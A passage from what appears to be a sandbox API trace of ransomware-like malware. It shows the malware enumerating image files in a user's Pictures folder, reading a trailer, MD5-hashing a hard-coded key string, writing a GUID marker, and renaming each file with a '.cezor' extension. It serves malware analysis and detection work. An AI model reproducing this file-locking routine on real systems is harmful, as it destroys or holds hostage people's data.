Flags=0x0, Size=0x30) returned 0x30d4940 [0061.453] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x7e05, lpOverlapped=0x0) returned 1 [0061.453] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.453] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.453] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.453] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.453] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.454] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.454] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.454] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.454] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.454] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.454] GetLastError () returned 0x0 [0061.454] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.454] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.454] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7e05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.454] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.454] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.454] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.455] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.455] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.455] CloseHandle (hObject=0x5c4) returned 1 [0061.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.456] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\1m7527vbdeC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\1m7527vbdec.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\1m7527vbdeC.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\1m7527vbdec.gif.cezor")) returned 1 [0061.457] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e6a1560, ftCreationTime.dwHighDateTime=0x1d4c565, ftLastAccessTime.dwLowDateTime=0x5e029510, ftLastAccessTime.dwHighDateTime=0x1d4c59a, ftLastWriteTime.dwLowDateTime=0x5e029510, ftLastWriteTime.dwHighDateTime=0x1d4c59a, nFileSizeHigh=0x0, nFileSizeLow=0x86c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8jZ3LBgNvW1arBclEu8.gif", cAlternateFileName="8JZ3LB~1.GIF")) returned 1 [0061.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.457] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\8jZ3LBgNvW1arBclEu8.gif") returned=".gif" [0061.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\8jZ3LBgNvW1arBclEu8.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\8jz3lbgnvw1arbcleu8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.457] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=34504) returned 1 [0061.457] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.460] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x86a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.460] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.461] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x86c8, lpOverlapped=0x0) returned 1 [0061.461] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.461] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.461] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.461] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.462] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.462] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.462] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.462] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.462] GetLastError () returned 0x0 [0061.462] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.462] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.462] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x86c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.462] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.462] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.463] CloseHandle (hObject=0x5c4) returned 1 [0061.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0061.464] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\8jZ3LBgNvW1arBclEu8.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\8jz3lbgnvw1arbcleu8.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\8jZ3LBgNvW1arBclEu8.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\8jz3lbgnvw1arbcleu8.gif.cezor")) returned 1 [0061.465] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c52e2a0, ftCreationTime.dwHighDateTime=0x1d4d489, ftLastAccessTime.dwLowDateTime=0xad12cb90, ftLastAccessTime.dwHighDateTime=0x1d4d24a, ftLastWriteTime.dwLowDateTime=0xad12cb90, ftLastWriteTime.dwHighDateTime=0x1d4d24a, nFileSizeHigh=0x0, nFileSizeLow=0xa776, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="axSg-zF.gif", cAlternateFileName="")) returned 1 [0061.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\axSg-zF.gif") returned=".gif" [0061.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\axSg-zF.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\axsg-zf.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.465] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=42870) returned 1 [0061.465] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.467] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.467] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.468] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xa776, lpOverlapped=0x0) returned 1 [0061.469] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.469] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.469] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.469] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.470] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.470] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.470] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.470] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.470] GetLastError () returned 0x0 [0061.470] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.470] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.470] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa776, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.470] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.470] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.471] CloseHandle (hObject=0x5c4) returned 1 [0061.471] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.471] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.472] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\axSg-zF.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\axsg-zf.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\axSg-zF.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\axsg-zf.gif.cezor")) returned 1 [0061.473] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e02c00, ftCreationTime.dwHighDateTime=0x1d4d46a, ftLastAccessTime.dwLowDateTime=0x6e08de0, ftLastAccessTime.dwHighDateTime=0x1d4ca6e, ftLastWriteTime.dwLowDateTime=0x6e08de0, ftLastWriteTime.dwHighDateTime=0x1d4ca6e, nFileSizeHigh=0x0, nFileSizeLow=0x9da5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cSaVaB0sUlp.gif", cAlternateFileName="CSAVAB~1.GIF")) returned 1 [0061.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\cSaVaB0sUlp.gif") returned=".gif" [0061.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\cSaVaB0sUlp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\csavab0sulp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.473] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=40357) returned 1 [0061.473] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.476] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9d7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.476] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.476] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.476] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x9da5, lpOverlapped=0x0) returned 1 [0061.477] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.477] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.477] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.477] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.478] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.478] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.478] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.478] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.478] GetLastError () returned 0x0 [0061.478] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.478] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.478] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9da5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.478] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.478] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.479] CloseHandle (hObject=0x5c4) returned 1 [0061.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.480] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\cSaVaB0sUlp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\csavab0sulp.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\cSaVaB0sUlp.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\csavab0sulp.gif.cezor")) returned 1 [0061.481] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc6b1d0, ftCreationTime.dwHighDateTime=0x1d4cb6f, ftLastAccessTime.dwLowDateTime=0xa4445b20, ftLastAccessTime.dwHighDateTime=0x1d4c802, ftLastWriteTime.dwLowDateTime=0xa4445b20, ftLastWriteTime.dwHighDateTime=0x1d4c802, nFileSizeHigh=0x0, nFileSizeLow=0x969d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E5 Uz-9etUMMH3CKQC.bmp", cAlternateFileName="E5UZ-9~1.BMP")) returned 1 [0061.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.481] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\E5 Uz-9etUMMH3CKQC.bmp") returned=".bmp" [0061.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\E5 Uz-9etUMMH3CKQC.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\e5 uz-9etummh3ckqc.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.481] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=38557) returned 1 [0061.481] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.484] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9677, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.484] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.485] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x969d, lpOverlapped=0x0) returned 1 [0061.485] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.485] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.485] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.485] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.486] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.486] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.486] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.486] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.486] GetLastError () returned 0x0 [0061.486] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.486] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.486] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x969d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.487] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.487] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.487] CloseHandle (hObject=0x5c4) returned 1 [0061.488] RtlAllocateHeap 